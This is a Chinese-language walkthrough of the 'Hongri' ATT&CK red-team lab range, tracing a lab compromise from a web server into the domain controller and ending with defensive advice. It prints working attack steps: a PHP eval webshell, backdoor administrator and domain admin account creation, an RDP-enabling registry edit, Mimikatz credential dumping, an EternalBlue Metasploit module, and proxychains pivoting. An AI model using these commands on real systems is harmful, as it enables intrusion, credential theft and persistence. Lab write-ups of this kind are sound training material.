ATT&CK红队实战(一) - 红日靶场渗透教学文档

1. 靶场环境准备

• 靶场环境：Windows 7系统作为Web服务器
• 网络配置：内网网段为192.168.52.0/24
• 服务配置：已启动Web服务

2. Web服务器渗透

2.1 初始信息收集

1. 端口扫描：

   • 使用nmap扫描发现开放端口：80(HTTP)和3306(MySQL)
   • 命令：nmap -sV <目标IP>

2. Web应用识别：

   • 访问80端口发现PHP探针页面
   • 探针底部暴露MySQL数据库连接信息

2.2 数据库渗透

1. MySQL弱口令利用：

   • 尝试默认凭证：root/root成功登录
   • 发现phpMyAdmin管理界面，使用相同凭证登录

2. 数据库权限提升：

   GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.226.1' IDENTIFIED BY 'root' WITH GRANT OPTION;
   FLUSH PRIVILEGES;
   

   • 通过此命令允许远程连接数据库

3. CMS信息获取：

   • 发现网站使用YZCMS
   • 从数据库获取管理员账号(admin)和加密密码
   • 尝试MD5解密失败(密码为双重加密：949ba59abbe56e05)

2.3 后台入侵

1. 后台登录：

   • 通过数据库命名规则修改URL路径(member→admin)找到后台
   • 使用默认凭证admin/123456成功登录

2. 漏洞利用：

   • 搜索YZCMS漏洞，发现前台模块可上传Webshell
   • 上传一句话木马：

     <?php @eval($_POST['cmd']); ?>
     

   • 结合robots.txt泄露的目录信息找到真实路径

3. 权限维持：

   • 使用蚁剑连接Webshell
   • 创建新用户并加入管理员组：

     net user hacker Password123 /add
     net localgroup administrators hacker /add
     

   • 开启RDP服务：

     reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
     

3. 内网信息收集

3.1 网络拓扑发现

• 发现内网网段：192.168.52.0/24
• 存活主机扫描：
  • 192.168.52.138
  • 192.168.52.143

3.2 权限提升

1. PowerShell执行策略绕过：

   Set-ExecutionPolicy Bypass -Scope Process -Force
   

2. 漏洞检测：

   • 使用Windows-Exploit-Suggester工具
   • 生成系统信息：

     systeminfo > win7.txt
     

   • 分析发现MS16-014漏洞可利用

3. 凭证获取：

   • 使用Mimikatz获取管理员密码和域控凭证：

     mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
     

4. 内网横向渗透

4.1 网络配置

• 配置静态路由确保内网可达

4.2 漏洞利用

1. MS17-010利用：

   • 检测到192.168.52.138和192.168.52.143存在永恒之蓝漏洞
   • 使用MSF模块：

     use exploit/windows/smb/ms17_010_eternalblue
     set RHOSTS <目标IP>
     exploit
     

2. 横向移动：

   • 添加新用户：

     net user intranet Intranet123 /add /domain
     net group "Domain Admins" intranet /add /domain
     

   • 使用psexec获取域控shell

4.3 远程访问配置

1. 代理设置：

   • 配置socks4a代理
   • 修改/etc/proxychains.conf：

     socks4 <代理IP> <端口>
     

2. RDP连接：

   • 通过代理远程连接内网主机：

     proxychains rdesktop <内网IP>
     

5. 关键工具总结

1. 扫描工具：

   • nmap
   • dirb/dirsearch(目录扫描)

2. 数据库工具：

   • phpMyAdmin
   • Navicat

3. Webshell管理：

   • 蚁剑(AntSword)

4. 漏洞检测：

   • Windows-Exploit-Suggester

5. 凭证获取：

   • Mimikatz

6. 横向移动：

   • Metasploit Framework
   • psexec

7. 代理工具：

   • Proxychains

6. 防御建议

1. Web服务器：

   • 修改默认凭证
   • 禁用不必要的PHP函数(如eval)
   • 限制数据库远程访问

2. 内网防御：

   • 及时安装补丁(特别是MS17-010)
   • 启用PowerShell日志记录
   • 限制域管理员权限

3. 监控措施：

   • 监控异常账户创建
   • 监控RDP服务开启行为
   • 监控SMB协议异常流量

7. 思维导图要点

1. 信息收集阶段
2. 外网突破方法
3. 权限提升技术
4. 内网横向移动路径
5. 域控攻陷过程
6. 权限维持手段

本教学文档完整还原了红日靶场ATT&CK红队实战的第一部分渗透流程，涵盖了从外网突破到内网横向移动的全过程，重点突出了各阶段的关键技术和工具使用。